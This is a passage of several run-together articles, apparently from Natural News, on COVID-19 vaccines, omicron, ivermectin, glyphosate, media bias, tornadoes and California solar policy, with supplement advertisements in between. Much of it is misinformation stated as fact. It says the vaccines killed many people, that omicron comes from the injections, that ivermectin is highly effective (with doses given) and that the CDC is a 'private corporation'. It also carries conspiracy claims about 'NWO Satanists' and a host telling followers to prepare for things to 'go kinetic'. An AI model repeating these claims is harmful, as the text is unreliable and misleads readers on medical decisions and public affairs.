possessed more than 35 mutations on its spike protein alone. They thus called on the elderly, immunocompromised and those with comorbidities to get injected with the booster shots at the soonest. Boosters raised the vaccines effectiveness to 75.5 percent, the experts said. It will be important for those who are at higher risk, including older age and those with immuno-compromised conditions or other chronic diseases such as diabetes and high blood pressure to take booster doses of vaccine as soon as possible, Peiris said. David Hui Shu-cheong, CUHK respiratory expert and pandemic adviser to the special administrative region, said: We expect that vaccines may still have a protective effect against severe disease and death. It is therefore important that all those who are eligible for vaccination get fully vaccinated. Israel also finds BioNTech mRNA vaccine less effective A study conducted in Israel also found that the standard two doses of the mRNA vaccine was less effective against the omicron strain. The Middle Eastern country made use of the BioNTech mRNA vaccine, this time distributed by Pfizer, to vaccinate its population. Israelis who received the initial two-dose Pfizer vaccine six months ago or earlier have almost no neutralizing ability against omicron. This was the finding of a study conducted by physician Dr. Gili Regev Yochay of Sheba Medical Center in Tel Aviv. While her study was small only involving 40 health workers in the hospital Yochay said its results are reliable and significant. The physician compared 20 blood samples from individuals injected with the Pfizer booster dose and 20 other samples from those who did not get the booster. People who received the second dose five or six months ago have almost no neutralization ability against omicron and thats very worrisome. The fact that omicron is somewhat resistant to the vaccine is very much apparent when youre only with two doses, and much less substantive after a third dose, Yochay said during a Dec. 11 media briefing. (Related: Israel flipping out over spread of new Omicron covid strain vaccines and boosters proving to be medically useless.) Yochays findings came five months after the Israeli Ministry of Healths (MOH) discovery that the Pfizer vaccines effectiveness dropped by more than half against the B16172 delta variant. A July 22, 2021 report by the MOH revealed that the Pfizer mRNA vaccine was only 39 percent effective against delta. The ministry based its finding on COVID-19 cases reported between June 20 and July 17 which coincides with the spread of the delta variant in the country. Furthermore, the July 22 paper from the MOH showed the decreasing effectiveness of the two-dose mRNA vaccine in preventing transmission. Another Israeli study from April 2021 showed that the Pfizer vaccine made Israelis more susceptible to catching certain SARS-CoV-2 variants instead of protecting against them. The study by researchers from Tel Aviv University and Clalit Health Services examined the COVID-19 test results of 800 Israelis. Half of the results came from vaccinated people, while the other half were from unvaccinated ones. They found the B1351 beta strain to be eight times more prevalent in those who complete the two doses of the COVID-19 vaccine. Meanwhile, the B117 alpha strain was more prevalent in those who get injected with one dose of the Pfizer vaccine. (Related: South African B1351 coronavirus variant affects vaccinated patients more easily than the unvaccinated, warn Israeli researchers.) Lead researcher Dr. Adi Stern said: We found a disproportionately higher rate of the [B1351 beta] variant among people vaccinated with a second dose, compared to the unvaccinated group. This means that the [B1351] variant is able, to some extent, to break through the vaccines protection. Based on the patterns in the general population, we would have expected just one case of the [beta] variant, but we saw eight. BadMedicine.news has more about COVID-19 vaccines being less effective against SARS-CoV-2 variants. Sources include: SCMP.com TheStandard.com.hk MSN.com i24News.tv LifeSiteNews.com (Natural News) Truth-teller Jeffrey Prather vowed to defeat the Deep State by exposing the tools of fake news during the December 3 episode of Prather Point on Brighteon.TV. Prather said State Democrats, Republicans in name only (RINO), Black Lives Matter, Antifa and other assorted traitors foreign and domestic will not silence the freedom fighters in the battle to restore the fallen republic. Your masks wont silence us. Your shutdowns wont stop us. Your riots dont scare us, he said. Prather, who is still recovering from an accident that happened after speaking at the Freedom and Health Conference in San Antonio, thanked his family, friends and supporters for all the prayers, letters, emails, notes and packages he has received. Behind me, you can see a get well card from my childrens Dojo class. The other day, I have members of Team America medical call. I have ivermectin, hydroxychloroquine, nebulizer treatments, vitamin D, everything under the sun. Lots of people checking on me constantly, and I am doing fine, assured Prather. The former intelligence officer encouraged his followers to sign up for Team America, which he said is already in 15 countries. He said Team America have members who provided alternative routes of escape from Afghanistan for American families, American children and American allies. Its quite an accomplishment. And there are now over 5000 Americans signed up for Team America, said Prather. Biden is supporting Chinas bid for world domination According to Prather, there are five Chinese companies in Afghanistan conducting inspections of potential lithium projects. Afghanistan is rich in resources, and it also has a large reserve of lithium, a key component of the batteries of electric vehicles and other high-tech electric items. 100% organic essential oil sets now available for your home and personal care, including Rosemary, Oregano, Eucalyptus, Tea Tree, Clary Sage and more, all 100% organic and laboratory tested for safety. A multitude of uses, from stress reduction to topical first aid. See the complete listing here, and help support this news site. Prather accused President Joe Biden of planning to send Air Force personnel to help the Chinese with their plans for world domination, saying Chinas Jiangxi copper has taken a 30-year lease on Afghanistans copper mine. Prather said it will allow China to continue to wage economic war and strangle the U.S. high-tech economy. This is a great travesty and tragedy, Prather said. He also cited Bidens vaccine mandate, which is now blocked in 50 states. The resistance is clearly building but it is going to be a long fight, he said. In late November, a judge blocked Bidens Wuhan coronavirus (COVID-19) vaccine mandate for federal contractors, finding that the president lacks the authority to force them to get vaccinated. (Related: Judge blocks Bidens oppressive vaccine mandate for federal contractors and subcontractors.) Unfortunately, the corrupt RINOs did not stand against the budget, Prather noted. There was a handful of Republicans who resisted, but ultimately failed to prohibit federal money from being used to fund Bidens vaccine mandates. The Brighteon.TV host urged Americans to remember the names of Senate Republicans who voted with the Democrats: Roy Blunt, Richard Burr, Shelley Capito, Bill Cassidy, Susan Collins, John Cornyn, Lindsey Graham, Cindy Hyde Smith, John Kennedy, Mitch McConnell, Jerry Moran, Lisa Murkowski, Rob Portman, Marco Rubio, Richard Shelby, Tom Tillis, Roger Wicker and Todd Young. We have to get them out of office. But that will be a long, difficult path, said Prather. Prather also mentioned the tyrannical measures being implemented by governments around the world while using the seemingly harmless omicron variant as the primary reason. He pointed out that those measures could lead to violence, like the Dutch Police opening fire on COVID protesters. It could happen here in the United States. Thats why its important to understand that this will go kinetic, so be prepared for it to go kinetic, Prather said. Fear not, God bless. Keep the faith and hold fast. We are not always winning. And winning is demanding difficult and always expensive. Tyrants always fail. Graphene is not in our DNA, but freedom is and it is earned. Watch the full Dec. 3 episode of Prather Point below. Catch new episodes of Prather Point every Friday at 10-11 a.m. on Brighteon.TV. Sources include: Brighteon.com ZeroHedge.com (Natural News) Kelloggs has pledged to stop using wheat and oat products that contain glyphosate by the year 2025 in a move that it says is a part of an ongoing commitment to reducing pesticide use and sustainable agriculture. The company, which is behind popular cereals such as Raisin Bran, Froot Loops and Frosted Flakes, garnered widespread applause for the move. Glyphosate is the active ingredient in the countrys most popular herbicide, Bayer-Monsantos roundup. It is often used by farmers to control unwanted plants and dry out crops to facilitate harvesting. The company claims that the chemicals use is already somewhat limited in the production of its food, being reserved for occasions when crops need to be harvested quickly due to weather challenges. However, the company said they are aware that some consumers have concerns about its use. In a statement, Kelloggs said: Although this practice is not widespread in our wheat and oat supply chains, we are working with our suppliers to phase out using glyphosate as a pre-harvest drying agent in our wheat and oat supply chain in our major markets, including the US, by the end of 2025. The company is working with farmers on phasing out the use of glyphosate for drying out crops in countries including the United States, the United Kingdom, Canada, France, Australia and Mexico. Kelloggs also plans to expand its grower survey in order to collect better data on pesticide use and make investments in new pesticide reduction efforts that can benefit farmers as well as the environment. The power of the elements: Discover Colloidal Silver Mouthwash with quality, natural ingredients like Sangre de Drago sap, black walnut hulls, menthol crystals and more. Zero artificial sweeteners, colors or alcohol. Learn more at the Health Ranger Store and help support this news site. Residues of glyphosate have been found in Kelloggs cereals such as Fruit Loops, along with popular food products from other companies, such as Nature Valley granola bars and General Mills Cheerios cereal in varying amounts. Although the detected amounts are often below the tolerance levels set by the EPA of 0.1 to 310 parts per million, many consumers are nevertheless alarmed by any trace of glyphosate in the foods and drinks they consume. Moreover, as more lawsuits make headlines related to glyphosates link to cancer, more and more consumers are seeking out products that advertise themselves as being free from chemicals and bear non-glyphosate certifications. Lawsuits against Bayer, who purchased Monsanto in 2018, continue to be filed, and many are resulting in huge damage awards related to cancer claims. Bayer, for its part denies that glyphosate causes cancer and is appealing many of these multimillion-dollar verdicts. Glyphosate harms human health, the environment The World Health Organization has called the chemical a probable carcinogen to humans, while California lists it as a chemical that is known to the state to cause cancer. It is also known for its negative impact on the environment. It has a detrimental effect on biodiversity, water quality, soil health and wildlife. It has also been linked to the declines seen in bee populations around the world that are putting our food supply at risk. As consumers become increasingly informed about their health and the ingredients in the foods that they consume, Kelloggs is making a smart move here. Although it is often more difficult for companies to find oats and wheat that have not been sprayed with glyphosate and the price tag on these foods may be a little higher, it could work out well for the company, which has seen its sales slipping in recent years, and allow it to boost its reputation as well. Although Kelloggs has been careful to downplay both glyphosates dangers and its presence in its products, their commitment to stop using it certainly feels like an acknowledgement that the chemical is harmful and has no place in our food. Sources for this article include: LubbockOnline.com FoodDive.com Kelloggs.com (Natural News) The December 8th ANP article on the State of the Media by Susan Duclos opened a flood of memories on past research flings of mine that helped build my current world view, and I would like to share a few tidbits with you, if I may, that perhaps might influence your views to some degree. If I may borrow Susans phrase that Evidently irony is not something they understand and link it to the proven theme that they all play the same tune while claiming to be independent investigative journalists, even using the exact same words and phrases day after day, week after week, month after month. We have watched and listened to clips that show so many news readers saying exactly the same phrases over and over, as shown in the First Video below, and show how they use that technique to imprint a thought or idea into your head as a very effective form of brainwashing. In April of 2018 there were a number of stories in leftist media that all contained the coverage of Sinclair Broadcast Group (the largest American TV station owner) stations using those same reading points for their news readers. In a story by Deadspin Timothy Burke said CNNs Brian Stelter broke the news that Sinclair Broadcast Group, owner or operator of nearly 200 television stations in the U.S., would be forcing its news anchors to record a promo about the troubling trend of irresponsible, one sided news stories plaguing our country. A month earlier CNN had the story that This is so manipulative that Burke was referencing. Sponsored solution from the Health Ranger Store: The Big Berkey water filter removes almost 100% of all contaminants using only the power of gravity (no electricity needed, works completely off-grid). Widely consider the ultimate "survival" water filter, the Big Berkey is made of stainless steel and has been laboratory verified for high-efficiency removal of heavy metals by CWC Labs, with tests personally conducted by Mike Adams. Explore more here. (Article by Alan Barton republished from AllNewsPipeline.com) Thats an anchor at a local TV station owned by Sinclair, describing the companys latest mandate, a promotional campaign that sounds like pro-Trump propaganda. Internal documents call the new initiative an anchor delivered journalistic responsibility message it continued as they blamed it all on Trump. Indeed, as they blame it all on Trump and his followers as if they themselves do nothing of the sort. Evidently irony is not something they understand. Many other leftist outlets mimicked that story and even used many of the same phrases and video clips, such as this NYT article and this Refinery 29 article that added this interesting bit, If ever asked for a perfect example of an accusation that is projection, play this vid of Sinclair Broadcast Group crisis actors palming off recited propaganda as their own views, as they robotically scold: This is extremely dangerous to our democracy! I leave out the name of the lady that said that to lesson her embarrassment. The video she referenced is in this Twitter post; https://twitter.com/i/status/980175772206993409 just in case you really want to see it. Entertaining, but I fail to see how it is pro Trump. And this as they puppet the leftists talking points to a T, with so many saying the same thing over and over as they read the script given them by the leftists news fabricators as referenced in that first video below. I suppose it is not plagiarism when it is so tightly scripted, nor is it repetitive brainwashing when it comes from above and mandated to be read exactly as is; it must be truth ferreted out by real journalism I suppose. Liberal Media Whines About Right Wing Media as Susan puts it, Evidently irony is not something they understand. Now, just where do these scripted stories in the mainstream media, also known as the leftist propaganda outlets, come from? Well, besides the Washington power brokers like the DNC, the Obama insurrection headquarters, the various Soros linked Open Society groups, the Communist Manifesto, and so forth? Ultimately, the many Secret Societies that are organized to destroy this nation along with the rest of the world in their quest to build the Perfect Society led by Lucifer himself. Make no mistake, those Washington power brokers mentioned are part and parcel of the NWO Satanists. Read more at: AllNewsPipeline.com (Natural News) Robert Scott Bell slammed the Food and Drug Administration (FDA) for granting Pfizers Wuhan coronavirus (COVID-19) vaccine full approval despite knowing that over a thousand deaths were linked to it within the first three months of rollout. During the Dec. 6 episode of his program The Robert Scott Bell Show on Brighteon.TV, the host talked about the first batch of Pfizer documents released by the FDA in accordance with a Freedom of Information Act lawsuit by the Public Health and Medical Professionals for Transparency. The documents revealed that there were 1,223 deaths in the first three months of Pfizers vaccine rollout, which should have been enough cause to stop the vaccination program. The pharmaceutical giant also listed 42,086 adverse reactions representing a total of 158,893 adverse events over the same period. Over 25,000 of the reported events were classified as nervous system disorders. The adverse reactions listed in the documents include acute respiratory distress syndrome, pneumonia, Stevens-Johnson syndrome, dermatitis, Bells Palsy, skin allergies, paralysis, kidney and liver problems and other life-threatening side effects. Bell said Pfizers COVID-19 vaccine also caused fetal deaths, spontaneous abortions and more. Pfizer has complete disregard for life Bell described todays situation as living in a pharmaceutical insane asylum, saying Pfizer argued that all of the deaths or injuries are not related and that COVID-19 is much more dangerous than anything that people are dying from after getting the shot. There is a complete lack of regard for life. They cannot argue that this is to save life, because if it were, then they would have paid attention to all of the doctors and scientists pointing out that people who had what they call COVID manifests were 100 percent surviving via the the numerous treatments that were available via old drugs like ivermectin, hydroxychloroquine, zinc and other things that that were being used, said Bell. These people have no conscience. They are demonic, evil-possessed spirits at this point, to make these arguments. And yet theyre going to go after our kids if you let them. Pfizer, the same company that put out the shot that killed lots of people is now saying it could have vaccine data for kids under five by the end of the year. Children below five years old is the only group that is not eligible to take the vaccine in the United States. (Related: Injecting children with Pfizers COVID-19 vaccine is reckless and dangerous.) They are hoping that there are enough ignorant scared parents that would probably go, Oh, yeah, well get my kid. Yeah, I cant wait to get my five-year-old jabbed. With all those deaths, how many kids are they willing to kill? Bell said an mRNA injection technology that doesnt have long term safety data will sentence a five-year-old to a life of injury. Of course, the CEO is a Yeah, were good. We got to get them going. We got this data done by the end of the year. Six months to two years old, two to five years old. Theres no limit to what theyre willing to do, said Bell. Were also seeing more and more reports of stillbirths. Miscarriage rates are climbing. Still births are climbing not subtle but significant increases among those who are getting the jab and these moms-to-be are being coerced and threatened. And being told that the safety data is very clear here. Theres no risk to you. Its safe and effective even during pregnancy. And yet, theres so much data that counters that claim. It sounds good to say its safe and effective. Its a mantra. Its an Orwellian hypnotic trance that theyre putting people in. And its becoming more and more obvious whats happening here. Watch the full Dec.6 episode of the Robert Bell Scott Show at the video below. Catch new episodes of The Robert Bell Scott Show from Monday to Friday at 3-5 p.m. on Brighteon.TV. Follow Pandemic.news for more news and information related to COVID-19 vaccines. Sources include: Brighteon.com TheKyleBecker.substack.com (Natural News) Brain-addled President Joe Biden claimed this week that climate change was to blame for a deadly outbreak of tornadoes throughout the Midwest. Im monitoring the situation very closely since early this morning. This is likely to be one of the largest tornado outbreaks in our history, Biden noted during a press conference shortly after twisters destroyed much of Mayfield, Kentucky, and caused severe damage in portions of surrounding states. Earlier today, I called the governors of the states that have experienced severe impacts of the storms, including Arkansas, Illinois, Kentucky, Missouri, as well as Tennessee. Jill and I pray and I sincerely mean this pray for those who have lost loved ones and for those who are uncertain of the fate of their loved ones. And the debris that you see scattered all over the hurricanes path, Biden said. They lost their homes. They lost their businesses. And its a tragedy. Its a tragedy. And we still dont know how many lives were lost or the full extent of the damage, he added. "The fact is that we all know everything is more intense when the climate is warming. Everything," President Biden said when asked if climate change played a factor in the intensity of the tornadoes that hit the central U.S. pic.twitter.com/Wzqfh7BGbR CBS News (@CBSNews) December 11, 2021 Never mind that Biden is confusing tornadoes with hurricanes (and keep in mind our enemies are watching this comedy of errors unfold daily and they are planning their next strategic moves). Here comes the rest of this lunacy. All I know is that the intensity of the weather across the board has some impacts as a consequence of the warming of the planet and climate change, Biden said after a reporter questioned him about the potential role climate change might have had. Sponsored solution from the Health Ranger Store: The Big Berkey water filter removes almost 100% of all contaminants using only the power of gravity (no electricity needed, works completely off-grid). Widely consider the ultimate "survival" water filter, the Big Berkey is made of stainless steel and has been laboratory verified for high-efficiency removal of heavy metals by CWC Labs, with tests personally conducted by Mike Adams. Explore more here. The specific impact on these specific storms, I cant say at this point. The fact is that we all know everything is more intense when the climate is warming. Everything. And, obviously, it has some impact here, but I cant give you a quantitative read on that, Biden added. The baseless, factless claim got instant pushback from meteorologist Joe Bastardi, who called the claim insanity. Insanity. Its a below average tornado, wind damage and hail season. No credibility. No knowledge of past weather, We are in the hands of leftists who weaponize weather for their purposes. Deceit and deception. Piling on the misery dont both(er) them. Sociopathic, he tweeted in response to comments from Federal Emergency Management Agency (FEMA) Administrator Deanne Criswell. Insanity. Its a below average tornado, wind damage and hail season. No credibility No knowledge of past weather, We are in the hands of leftist who weaponize weather for their purposes. Deceit and deception. piling on the misery don't both them. Sociopathic https://t.co/01mruojTFQ Joe Bastardi (@BigJoeBastardi) December 13, 2021 Even the United Nations Intergovernmental Panel on Climate Change (UN IPCC) disagrees with Biden. Extreme Weather Expert Dr. Roger Pielke Jr. noted that the UN IPCC AR6 WG1 states: Trends in tornadoes associated with severe convective storms are not robustly detected. Attribution of certain classes of extreme weather (e.g., tornadoes) is beyond current modeling and theoretical capabilities. How tornadoes will change is an open question. Climatologist Patrick J. Michaels added: With regard to tornadoes, Bidens appears to be thriving in a fact-free world. Sure, the number of tornadoes is increasing, but thats because of improved detection technology. What about the ones that you dont need radar to see, because they are monsters like Fridays twisters? These would be the EF-4 and EF-5 storms. Fridays storm in Mayfield hasnt been classified yet, but surely is one of these. Its obvious that Biden is just wrong. Extreme tornadoes are in decline as the world has warmed. And it seems a bit insensitive to piggyback on peoples misfortune in order to push climate policies that recent polls indicate no one wants, he added. By the way, in the 1970s, scientists and climatologists were blaming extreme weather events on global cooling. Droughts, floods, blizzards, tornadoes, typhoons and hurricanes have plagued much of the nation and the world in recent years, the Lincoln Journal Star reported in July 1974. Most people considered these weather conditions to be abnormal and temporary, but instead, climatologists now believe the first half of the 20th century was blessed with unusually mild weather and that the global climate has begun returning to a harsher but more normal state. For the long run, there is mounting evidence of a worldwide cooling trend, the paper said. Read more reports related to climate at ClimateAlarmism.news. Sources include: ClimateDepot.com NaturalNews.com (Natural News) Back in the summer of 2020 before Donald father of the vaccine his own words Trumps Operation Warp Speed injections were available, the Southern Brazilian city of Itajai was successfully using ivermectin to prevent hospitalizations and deaths from the Wuhan coronavirus (COVID-19). Between July and December of 2020, roughly 220,000 people in Itajai were offered a two-day treatment course of 0.2 mg/kg/day (roughly 18mg for a 200lb person) once every two weeks. A total of 133,051 people chose to take the regimen while 87,466 declined. It was later determined by researchers at the University of Toronto and Columbias EAFIT University that hospitalization and mortality rates in Itajai were cut in half over a seven-month period in the ivermectin group, proving the drugs efficacy. This is even more impressive when you learn the IVM [ivermectin] users were older on average, with 30 percent over 50 years old versus 20 percent for non-IVM users, tweeted someone named Simon Vallee after taking a closer look at the data. The mortality reduction is even higher looking at different age groups 85 percent for 31-49 years old and 59 percent for over 50 years old. The authors of this research made sure to adjust for relevant confounding variables such as age, sex, medical history, previous diseases and other conditions. Business Insider lied about study, claimed ivermectin was a failure Back in October, Business Insider (BI) ran a hit piece claiming that this experiment was a total failure, and that ivermectin does not help as a prophylactic remedy for the Tony Fauci Virus. Citing a Brazilian ICU doctors anecdotal evidence, BI basically went out of its way to try to make ivermectin sound like ineffective horse paste when the reality is that the cheap, safe and effective FDA-approved drug is highly effective in humans. Being a retrospective observational analysis, it is uncertain whether results would be reproducible in a randomized, placebo-controlled, double-blind clinical trial, but likely, since groups of ivermectin users and non-users had similar demographic characteristics, and rates were adjusted for the relevant confounding variables, stated a pre-print of the new paper proving that ivermectin works. The so-called fact checkers are probably scrambling to come up with something to debunk the research, which exposes lockdowns, masks and vaccines as an unnecessary farce. The plandemic would already be over had the government advised people to take ivermectin instead of Operation Warp Speed injections. This is based on data published by IVMMeta.com, a real-time analysis of 70 studies which found that ivermectin works as a prophylaxis 83 percent of the time. As an early treatment, peer-reviewed studies found that ivermectin is effective 70 percent of the time. As a late treatment, the drug works about 39 percent of the time. In Indias Utter Pradesh province, which opted for ivermectin over the injections, ivermectin is widely and successfully used as a Fauci Flu prophylactic. Officials in the province, which has a population of 200 million, said that widespread use of ivermectin helped keep positivity [and] deaths low. The Indian government has funded numerous studies that came to similar conclusions. One of them found that a two-dose ivermectin prophylaxis at a dose of 300 ?g/kg with a gap of 72 hours resulted in a 73 percent reduction in SARS-CoV-2 infection among health care workers. Another study out of India found that patients given ivermectin at the hospital were way more likely than patients not given the drug to make it out alive. Another found that administering ivermectin alongside doxycycline resulted in an average improved recovery time of two days earlier compared to patients given a placebo. Perhaps the most damning evidence in favor of ivermectin is the medical establishments position that its essentially snake oil, despite the fact that its had a glowing safety profile for decades, until now, commented Zero Hedge. More related news about the Wuhan coronavirus (COVID-19) can be found at Pandemic.news. Sources include: Independent.co.uk ZeroHedge.com NaturalNews.com (Natural News) Energy regulators in California on Monday, December 13, proposed sharp reductions in subsidies for residential solar customers. People from the solar industry have warned that such a move could threaten thousands of jobs. This proposal was announced by the California Public Utilities Commission (PUC), the states main agency that regulates public utilities such as electricity. Residential solar customers would get lower credit for all the excess electricity they sent back to Californias ailing power grid. Solar customers in Southern California currently receive between 17 to 44 cents per kilowatt-hour from the state for their excess solar energy during the summer. If the PUCs proposal pushes through, solar customers in the same area and at the same time of the year would only be eligible to receive anywhere between less than 10 to 30 cents per kilowatt-hour, depending on the time of day. According to the PUCs proposal, current rooftop solar panel users will have to pay a new grid-connection fee that will cost them an average of $40 a month. Homes with rooftop solar panels that are already connected to the states power grid will be transitioned to the new rates 15 years after their solar energy was first connected. Homeowners considering installing rooftop panels would be given a four-year credit period to help them transition to the new, lower rates. The state is also setting up a $600 million fund to help lower-income residents to transition to solar energy. Going solar would also exempt ratepayers from the monthly solar connection fees. Sponsored solution from the Health Ranger Store: The Big Berkey water filter removes almost 100% of all contaminants using only the power of gravity (no electricity needed, works completely off-grid). Widely consider the ultimate "survival" water filter, the Big Berkey is made of stainless steel and has been laboratory verified for high-efficiency removal of heavy metals by CWC Labs, with tests personally conducted by Mike Adams. Explore more here. Commissioner Martha Guzman Aceves said the change is supposed to incentivize rooftop solar panel owners to install batteries that can store energy, along with solar arrays to help the state deal with its regular electricity shortages. The reform is about incentivizing the right thing we need today for the grid, for the benefit of all ratepayers, said Aceves. Solar industry opposed to the changes According to the PUC, it reviewed the states current credit policy and found it was actually not cost-effective and that it unduly harmed California homeowners without solar panels by forcing them to shoulder the costs of maintaining the electric grid. These California ratepayers disproportionately come from lower-income households and the PUCs review found that they spend about $3 billion a year to support net metering. Aceves said in an interview that the funds the state paid out to solar homeowners would be better directed elsewhere. She said the money could be redirected to large-scale energy projects that benefited everyone, not just the disproportionately wealthier homeowners with solar panels on their roofs. (Related: Installing solar panels over canals could save California 65 billion gallons of water a year, researcher claims.) However, Californias solar power industry said the proposal would threaten the entire industry. It could cost not just the state but the entire country thousands of jobs in the solar industry and it could impose the highest fees for solar power. People from the solar industry also said the changes will deter more homeowners in the state from installing rooftop solar panels, slowing down the development of the entire industry. Only the wealthiest Californians will be able to afford rooftop solar, shutting out schools, small businesses and the average family, said Abigail Ross Hopper, CEO of the Solar Energy Industries Association, in a statement. The only winners today are the utilities, which will make more profits at the expense of their ratepayers. California residents, ratepayers and rooftop solar homeowners alike, have until early next year to respond to the PUCs proposed changes. The commission is expected to make a final decision by then. The Golden State is home to about 40 percent of the nations residential solar energy capacity. According to the solar industry, Californias subsidy program helped spur the installation of 1.3 million new home solar systems. This accounts for 45 percent of the countrys new home solar power installations. Without the subsidies, the industry is worried it will have to shrink, costing thousands of jobs. Learn more about solar panel usage in the U.S. at SolarPanels.news. Sources include: ZeroHedge.com Bloomberg.com Reuters.com (Natural News) Most of the 43 alleged cases of the Wuhan coronavirus (Covid-19) Omicron (Moronic) edition have been identified in people who are already fully vaccinated, the U.S. Centers for Disease Control and Prevention (CDC) has confirmed. Thirty-four of these supposed Moronic infections, or 80 percent, are fully vaccinated. Fourteen of these had already received a booster shot, and five of these had received their third jab less than two weeks before getting injected. This scant number of cases, which may or may not even have symptoms, is prompting mostly leftist politicians to call for more mask mandates, lockdowns and continued booster injections. (RELATED: Moronic really is a disease of the fully injected.) According to Reuters, 22 states now have cases of Moronic, at least based on the governments testing criteria. This new strain of the Tony Fauci Flu is said to have originated in South Africa where it then traveled to Hong Kong and eventually to the United States. Among the Omicron cases, 25 were in people aged 18 to 39 and 14 had traveled internationally, Reuters further reported. Six people had previously been infected with the coronavirus. Are Americans really buying into the Moronic variant? The very first case of Moronic out of South Africa, just to be clear, was in a fully vaccinated person. This suggests that this latest variant is a product of the injections. In other words, this is a plandemic of the fully vaccinated, which are now spreading it to each other. Symptoms are said to be similar to a mild cold, including coughing, congestion and fatigue. Sponsored: NEW Biostructured Silver First Aid Gel created by the Health Ranger combines three types of silver (ionic silver, colloidal silver, biostructured silver) with seven potent botanicals (rosemary, oregano, cinnamon and more) to create a breakthrough first aid silver gel. Over 50 ppm silver, verified via ICP-MS lab analysis. Made from 100% Texas rain water and 70% solar power. Zero chemical preservatives, fragrances or emulsifiers. See full details here. Less frequent symptoms, whatever that is supposed to mean based on a couple dozen cases, supposedly include tummy ache, vomiting, difficulty catching ones breath, diarrhea and funny taste and smell. The CDC fully admits that Moronic is barely a couple sniffles at worst, though the fake federal agency (which is really a private corporation in disguise) is already crafting the narrative that severe outcomes are soon on the way due to a lag in infection. Officially, the Delta variant is still the predominant strain of the Tony Fauci Flu that is circulating throughout the West. South Africa is now insisting that Moronic is also heavily circulating. The CDC claims without evidence that people who get the Moronic sniffles could still end up overwhelming Americas health systems. Because of this, the fake federal agency is cautioning the public to continue living in fear, wearing a mask, hunkering down in isolation, and getting jabbed every time Fauci speaks. Doing this, the government still claims, will stop the spread, flatten the curve, love thy neighbor, and whatever other catchphrases happen to be popular at the time. We already know that the Moronic variant renders the first two injections completely useless, according to government officials. Because of this, they want everyone to get a third injection of the same because that will somehow magically procure new immune protection. A week after moronic, suddenly a tweaked vax is here, wrote a Natural News reader about how ridiculous this all is. And, yes, as questioned here, how can PCR pick up some unknown mutation? And how does the vaccine push the virus to a super strain if the moronic one has only mild symptoms? Many virologists have been warning that the leaky protection provided by the mRNA vaccine absolutely would produce a version that would actually target and be more dangerous to the vaccinated, wrote another. And here we are. So should we listen to the virologists who accurately predicted this, or keep listening to the likes of Fauci and (Rochelle) Walensky who just keep pushing the vaxx that doesnt work anymore? More Wuhan coronavirus (Covid-19) injection news can be found at ChemicalViolence.com. Sources for this article include: Yahoo.com NaturalNews.com NaturalNews.com (Natural News) The great liar Tony Fauci is now claiming that Americans may require a yearly booster shot to keep his coronavirus (Covid-19) at bay. After recently suggesting that the fully vaccinated classification could soon require three injections instead of just two, Fauci is once again upping the ante to yearly injections that we expect will eventually turn into monthly injections. Should we be expecting yearly boosters? asked ABCs This Week host George Stephanopoulos. If it becomes necessary to get yet another booster, then well just have to deal with it when that occurs, Fauci responded, the insinuation being that it is coming. Fauci added that it is tough to tell at the current moment, but knowing how Fauci operates he will change his mind in a few days and start recommending daily boosters in order to fight the Omicron (Moronic) variant. Pfizer CEO Albert Bourla is loving all this booster rhetoric, by the way. Fauci is doing Bourla a huge favor by paving the way for endless injections, each of which adds more profits to Bourlas bank account and stock holdings. Bourla of course insists that a third booster dose is highly effective at fighting Moronic, and he is now eagerly adopting the notion from Fauci that a fourth one will be even more highly effective (at least in terms of making him richer). When we see real-world data, will determine if the omicron is well covered by the third dose and for how long, Bourla told CNBCs Squawk Box. Mother Nature's micronutrient secret: Organic Broccoli Sprout Capsules now available, delivering 280mg of high-density nutrition, including the extraordinary "sulforaphane" and "glucosinolate" nutrients found only in cruciferous healing foods. Every lot laboratory tested. See availability here. Fauci says covid vaccines dont provide protection but Americans should still get boosted Fauci fully agrees that the first two injections are useless now in terms of protecting against Moronic sniffles, which is naturally why he is pushing Americans to take a third and fourth injection. If you want to be optimally protected, absolutely get a booster, Fauci rattled to Stephanopoulos. Some 60 million Americans have not gotten injected at all, Fauci went on to lament, adding that about 100 million Americans are currently eligible to get boosted. He cited data from the U.S. Centers for Disease Control and Prevention (CDC) claiming that 60.7 percent of America is now fully vaccinated. In a worst-case scenario, Moronic causes a few sniffles and maybe an upset tummy. This, Fauci says, could warrant further interventions, though it is still too early to tell, he insists. The level of severity appears to be maybe a bit less than delta. But there are a lot of confounding issues there, Fauci said. It may be due to the underlying protection in the community due to prior infections, but these are just preliminary data that were going to have to just follow carefully to get them confirmed. Even though the World Health Organization (WHO) has expressed concerns about Americans taking too many injections and hogging the supply, Fauci believes the more boosters, the better. We are, right now, vaccinating our own country, were going to be boosting as many people as we possibly can, Fauci clarified about his position. But you can also simultaneously make doses available to the developing world. Fauci is so convinced that his injections are doing something beneficial (at least as he personally defines it) that he is already talking about annual injections as part of a regular booster shot schedule. We have the tools to protect ourselves, Fauci said. We can go a long way to getting us through this cold winter season, which clearly is always associated with a spike in respiratory illnesses. More of the latest news about the Tony Fauci Virus and its injections can be found at FauciTruth.com Sources for this article include: TheGatewayPundit.com NaturalNews.com MSN.com (Natural News) While many countries around the world including the United States are trying to either downplay or outright hide the adverse effects of the Wuhan coronavirus (COVID-19) vaccines, Japan is making sure that its citizens know what they will get from the injection. The Asian nation put warning labels on the vaccines highlighting the additives they contain. This was to provide its citizens enough information so they can decide for themselves whether or not to be injected with experimental drugs. Three COVID-19 vaccines are currently available in Japan: Pfizers Comirnaty, Moderna and Vaxzevria (formerly AstraZeneca). The product descriptions on the Pfizer and Moderna doses state: This product contains an additive that has never been used in a vaccine before. The same reference is also made to the new type of additive in the Vaxzevria injection. The labels also state that pharmaceutical companies are urging individuals to consult with their doctors about the additives if they plan to be injected with COVID-19 vaccine. This level of transparency in Japan came as a result of a meeting held by the Ministry of Health with a panel of experts on Saturday, December 11. The panel concluded that a warning about the risks involved in getting the vaccines should be printed to inform the public of known serious side effects. Doing so also reinforces the countrys commitment to ensuring that all possible side effects are reported in its adverse event system. Japan is now enforcing strict legal reporting requirements, and hospitals are to report in detail any incidents that involve individuals who have developed symptoms of side effects up to 28 days after being vaccinated, as per the new law. The Health Ministry has particularly listed myocarditis, an inflammation of the heart muscle and of the outer lining of the heart, as a possible serious side effect of the Moderna and Pfizer vaccines. (Related: Japans medical freedom: No vaccine mandates and healthier children.) Myocarditis has been found to be more prevalent in younger males. The Health Ministry reported that as of November 14, the Moderna vaccine causes myocarditis in 81.79 males per million for the 10 to 19 age bracket. This is lowered to 48.76 for those in their 20s. The figures were lower for Pfizer vaccines, at 15.66 and 13.32 per million in the 10-19 and 20-29 age brackets, respectively. No vaccination without consent In its website, Japans Health 